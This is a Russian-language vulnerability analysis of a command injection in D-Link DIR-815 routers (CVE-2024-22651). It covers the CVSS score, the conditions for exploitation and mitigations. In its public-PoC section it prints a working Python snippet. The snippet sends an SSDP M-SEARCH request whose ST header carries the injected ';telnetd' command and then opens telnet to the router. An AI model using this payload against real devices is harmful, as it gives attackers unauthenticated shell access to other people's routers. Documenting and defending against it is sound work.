
Уязвимость BDU:2025-05462 (CVE-2024-22651) в D-Link DIR-815
Уязвимость BDU:2025-05462 (CVE-2024-22651) в роутерах D-Link DIR-815 (версии прошивки ≤1.04) возникает из-за некорректной обработки входных данных в функции ssdpcgi_main
бинарного файла cgibin
. Функция получает данные через переменные окружения (например, через getenv("HTTP_ST")
) и передаёт их в системную обёртку lxmldbc_system
без санитизации. Это позволяет злоумышленнику внедрить произвольные команды через поддельные SSDP-запросы (протокол UPnP).
Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.
-
AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.
-
PR:N (Привилегии: Нет) – Доступ к системе не требуется.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная компрометация данных.
-
I:H (Целостность: Высокое) – Возможность полного изменения данных.
-
A:H (Доступность: Высокое) – Критическое нарушение работы системы.
Интерпретация: Критическая уязвимость (9.8) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы. Максимальный риск обусловлен сетевым вектором, низкой сложностью эксплуатации и полным контролем над уязвимым компонентом.
Анализ уязвимости
Условия эксплуатации
-
Доступ к локальной сети: Злоумышленник должен находиться в той же локальной сети, что и роутер, или иметь доступ к UDP-порту 1900 (UPnP) через WAN (редкий случай, если UPnP открыт наружу).
-
Активный сервис UPnP: Сервис SSDP/UPnP включён по умолчанию.
-
Отсутствие фильтрации входных данных: Роутер не проверяет содержимое заголовка
ST
в SSDP-запросах.
Анализ эксплоита из общего доступа
Скрипт для эксплуатации уязвимости BDU:2025-05462 (CVE-2024-22651) отправляет кастомный SSDP-запрос типа M-SEARCH с внедрённой командой в поле ST
:
header += "ST:urn:device:1;telnetd\n" # Инъекция команды запуска telnet-демона
После отправки запроса скрипт активирует telnet
, чтобы подключиться к роутеру.
Ключевые этапы работы PoC
-
Формирование вредоносного SSDP-пакета:
def config_payload(ip, port): header = "M-SEARCH * HTTP/1.1\n" header += "HOST:" + ip + ":" + str(port) + "\n" header += "ST:urn:device:1;telnetd\n" # Инъекция команды header += "MX:2\n" header += 'MAN:"ssdp:discover"' + "\n\n" return header
-
Отправка через UDP-сокет:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.sendto(payload, (ip, port))
-
Запуск telnet-сессии:
os.system('telnet ' + str(ip)) # Подключение к открытому демону
Способы защиты
-
Обновление прошивки: Установить версию выше 1.04, где D-Link устранили уязвимость.
-
Отключение UPnP:
-
Через веб-интерфейс: Advanced -> Network Settings -> UPnP -> Disable.
-
Через командную строку:
lxmldbc -s /runtime/upnp/config/enable 0
-
-
Сетевые ограничения:
-
Блокировать входящие UDP-пакеты на порт 1900 на межсетевом экране.
-
Использовать VLAN для изоляции роутера от пользовательских устройств.
-
-
Патчинг бинарных файлов: Для устройств, которые нельзя обновить, заменить вызов
lxmldbc_system
на безопасные аналоги с санитизацией.
Библиотеки и зависимости
-
lxmldbc: Проприетарная библиотека D-Link для взаимодействия с конфигурацией устройства. Используется в веб-интерфейсе (
cgibin
) и демонах. -
ssdpcgi_main: Компонент, обрабатывающий SSDP-запросы.
